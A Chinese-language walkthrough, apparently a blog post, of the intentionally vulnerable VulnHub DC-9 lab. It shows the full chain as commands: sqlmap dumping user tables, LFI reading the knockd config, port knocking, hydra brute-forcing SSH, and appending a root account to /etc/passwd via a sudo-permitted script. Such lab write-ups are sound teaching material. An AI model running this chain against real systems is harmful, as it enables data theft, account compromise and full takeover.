DC-9-sudo提權

NoCirc1e發表於2024-05-04

標籤SQL隱碼攻擊本地檔案包含LFI埠敲門hydra爆破linux提權

0x00 環境準備

下載地址:https://www.vulnhub.com/entry/dc-9,412/
靶機描述:

DC-9 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

0x01 資訊蒐集

1.探測靶機地址

命令:arp-scan -l
image.png
靶機地址:192.168.75.161

2.探測靶機開放埠

命令:nmap -sV -p- 192.168.75.161
image.png
開放了22(filtered)和80埠,但是22埠被過濾了,那就先看一下80埠
image.png
外掛沒有識別到web指紋

0x02 SQL隱碼攻擊

在search選單下有個提交框,可能存在POST注入
image.png
Burp Suite測一下
image.png
接下來用SQLmap進行遍歷

sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 --dbs

image.png

1.Staff資料庫

sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff --tables

image.png
檢視資料表,命令:

StaffDetails表:
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff -T StaffDetails --columns

Users表:
sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D Staff -T Users --dump

StaffDetails表:
image.png
Users表:
image.png
密碼的加密方式應該是md5
image.png
得到了admin的賬號和密碼admin\transorbital1

2.users資料庫

sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D users --tables

image.png

sqlmap -u http://192.168.75.161/results.php --data "search=1" --batch -v 3 --level 3 -D users -T UserDetails --dump

image.png
在UserDetails表中發現了很多賬號密碼
用管理賬號登陸網站後臺
image.png

0x03 本地檔案包含LFI

使用admin賬戶登入之後,登入首頁提示找不到檔案,懷疑存在檔案讀取漏洞
image.png
這裡猜測檔案引數是file
image.png

0x04 埠敲門

如下說明:
如果你有一臺公網可訪問的伺服器,駭客可以輕鬆掃描其IP地址,查詢伺服器上的開放埠(尤其是用於SSH的埠22)。將伺服器隱藏起來、不讓駭客看見的一種方法是使用knockd。knockd是一種埠試探伺服器工具。它偵聽乙太網或其他可用介面上的所有流量,等待特殊序列的埠命中(port-hit)。telnet或Putty等客戶軟體透過向伺服器上的埠傳送TCP或資料包來啟動埠命中。

埠敲門服務,即:knockd服務。該服務透過動態的新增iptables規則來隱藏系統開啟的服務,使用自定義的一系列序列號來“敲門”,使系統開啟需要訪問的服務埠,才能對外訪問。不使用時,再使用自定義的序列號來“關門”,將埠關閉,不對外監聽。進一步提升了服務和系統的安全性。

換句話說,如果知道自定義的埠,逐個進行敲門,這樣我們就能夠開啟SSH埠,從而進行連線,所以利用LFI來檢視knock.conf檔案配置,得到自定義埠
現在看一下/etc/knockd.conf檔案中的自定義埠
image.png
有3個自定義埠,分別是:7469,8475,9842
依次訪問這三個埠就可以開啟SSH服務了

nmap -p 7469 192.168.75.161
nmap -p 8475 192.168.75.161
nmap -p 9842 192.168.75.161

image.png
現在看一下ssh埠,命令:nmap -p 22 192.168.75.161
image.png
open!

0x05 hydra爆破SSH

sql注入的時候,拿到了很多使用者名稱和密碼,把它們分別儲存
然後使用hydra進行ssh爆破。命令:hydra -L user.txt -P pass.txt -t 10 ssh://192.168.75.161
使用"-l"選項指定單個登入名,使用"-p"選項指定單個密碼。使用"-L"選項指定一個檔案來指定多個登入名,使用"-P"選項指定一個檔案來指定多個密碼,"-t"表示使用執行緒。
image.png
爆破出來3個賬號:chandlerb \ UrAG0D!、joeyt \ Passw0rd、janitor \ Ilovepeepee
登入SSH(注意應該使用ls -la檢視隱藏檔案或目錄),發現只有janitor使用者存在隱藏可讀檔案

ssh janitor@192.168.75.161

image.png
這個檔案看起來是一個存放密碼的檔案,將密碼複製到pass.txt中,再次使用hydra進行爆破
image.png
爆破出了一個新的賬號:fredf \ B4-Tru3-001

0x06 提權

登陸到fredf賬號,檢視下fredf的sudo許可權,發現可以NOPASSWD執行root許可權的檔案

sudo -l

image.png
檢視發現test是一個python檔案
image.png
使用命令:find / -name test.py 2>/dev/null查詢python檔案,進行檢視
image.png
該檔案需要傳入三個引數,這三個引數都是檔案,傳入三個引數後,會讀取第二個檔案,然後將第二個檔案的內容追加到第三個檔案裡。
既然這樣,我們就可以利用這個程式向/etc/passwd檔案後追加一個擁有root許可權的賬戶,也就是說把/etc/passwd檔案設定為第三個引數,而第二個引數由我們自己建立,這個檔案裡是擁有root許可權賬戶的資訊,第一個引數隨便寫一個就好。
我們先使用openssl來建立第二個引數檔案中的內容
命令:sudo openssl passwd -1 -salt hacker password
這條命令的意思是建立一個使用者名稱為hacker,密碼為password的使用者

-1 的意思是使用md5加密演算法
-salt 自動插入一個隨機數作為檔案內容加密

image.png
修改後的值:hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash

echo 'hacker:$1$hacker$9MeWOdvz78rHYG01HSLfr/:0:0::/root:/bin/bash' >> /tmp/passwd

sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd

切換到新新增的賬戶,提權成功
image.png

相關文章